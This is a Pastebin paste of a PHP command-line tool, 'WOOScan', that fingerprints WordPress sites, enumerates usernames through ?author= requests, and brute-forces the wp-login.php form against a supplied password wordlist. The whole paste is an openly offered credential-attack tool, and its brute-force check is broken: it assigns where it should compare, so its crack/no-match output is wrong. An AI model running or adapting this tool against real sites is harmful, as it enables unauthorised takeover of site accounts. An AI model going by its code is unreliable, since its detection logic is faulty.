Advertisement
Guest User

wps.php

a guest
Feb 1st, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.33 KB | None | 0 0
  1. <?php
  2. /*
  3.     Jayalah Negriku ~
  4.     @Title : WOOScan V.0.1
  5.     @About : Wordpress Tools
  6.     @Code By : ZakirDotID
  7. */
  8. error_reporting(0);
  9. function check($url){
  10.     $get = curls($url,null);
  11.     preg_match("/name=\"generator\" content=\"WordPress (.*)\"/", $get , $result);
  12.     $do = $result[0];
  13.     if($do!=""){
  14.         v("\t[ ".date("H:i:s")." ] $url ==> Wordpress\n ");
  15.     } else {
  16.         v("\t[ ".date("H:i:s")." ] $url ==> Not WordPress\n ");
  17.     }
  18. }
  19. function curls($url,$data = null){
  20.     $ch = curl_init($url);
  21.     curl_setopt($ch, CURLOPT_URL, $url);
  22.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36");
  24.     if($data !=null) {
  25.     curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  26.     }
  27.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  28.     $result = curl_exec($ch);
  29.     return $result;
  30.     curl_close($ch);
  31. }
  32. function v($x=""){
  33.     echo $x;
  34. }
  35. function uc($url){
  36.     v("\t[ ".date("H:i:s")." ] Check Username : ".$url."\n");      
  37.     for($id=1;$id<=10;$id++){
  38.     $get = curls("$url?author=$id",null);
  39.     preg_match("/<body class=\"archive author author-(.*?) author-$id/", $get, $login);
  40.     $login = $login[1];
  41.     if($login!=""){
  42.     v("\t[ ".date("H:i:s")." ] ID ( $id ) | Username => $login \n");
  43.     } else {
  44.     v("\t[ ".date("H:i:s")." ] ID ( $id ) | Username Not Found!\n");   
  45.     }
  46.   }
  47. }
  48. function bf($url,$username,$password){
  49.     $get = curls($url."wp-login.php","&log=$username&pwd=$password");
  50.     preg_match("/The password you entered for the username/", $get , $login);
  51.     if($login[0]=""){
  52.         v("\t[ ".date("H:i:s")." ] Cracking.... | Password => $password\n");   
  53.     } else {
  54.         v("\t[ ".date("H:i:s")." ] Cracking.... | Not Matches => $password\n");
  55.     }
  56. }
  57. function banner(){
  58.     v("\n\t====================================================\n\tWOOScan Beta\n\t====================================================\n\tWordpress Tools Scan V.0.1 \n\tTools Running In Device [ ".OS()." ]\n\tCode By ZakirDotID\n\tUsage : -help\n\t====================================================\n");
  59. }
  60. function _rd(){
  61.     return fopen('php://stdin', 'r');
  62. }
  63. function OS() {
  64.     return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
  65. }
  66. if (OS()=="Windows") {
  67.     exit("\n\tJust Tested In Linux!");
  68. }
  69. if (isset($argv[1])) {
  70.     switch ($argv[1]) {
  71.         case '-help':
  72.         banner();
  73.         break;
  74.         case '-scan':
  75.         banner();
  76.         v("\n\tScanning Site Wordpress Beta | Example : http://www.site.com/path/\n\tInput Url : ");
  77.         $url = _rd();
  78.         $url = trim(fgets(_rd()));
  79.         check($url);       
  80.         break;
  81.         case '-usercheck':
  82.         banner();
  83.         v("\n\tScanning Username Wordpress Beta | Example : http://www.site.com/path/\n\tInput Url : ");
  84.         $url = trim(fgets(_rd()));
  85.         uc($url);
  86.         break;
  87.         case '-wpbf':
  88.         banner();
  89.         v("\n\tBrute Force Wordpress Beta | Example : http://www.site.com/path/ \n\tInput Url : ");
  90.         $url = _rd();
  91.         $url = trim(fgets($url));
  92.         v("\tInput Username : ");
  93.         $username = trim(fgets(_rd()));
  94.         v("\tInput Wordist : ");
  95.         $list = trim(fgets(_rd()));
  96.         $paswd = file_get_contents($list) or exit("\n\tFile Not found!\n");
  97.         $paswds = explode("\r\n", $paswd);
  98.         v("\tPlease Wait....\n");
  99.         sleep(1);
  100.         foreach ($paswds as $password) {
  101.             bf($url,$username,$password);
  102.         }
  103.         break; 
  104.         default:
  105.         banner();
  106.         break;
  107.     }
  108. } else {
  109.     banner();
  110.     v("\tError Command Not found!");
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement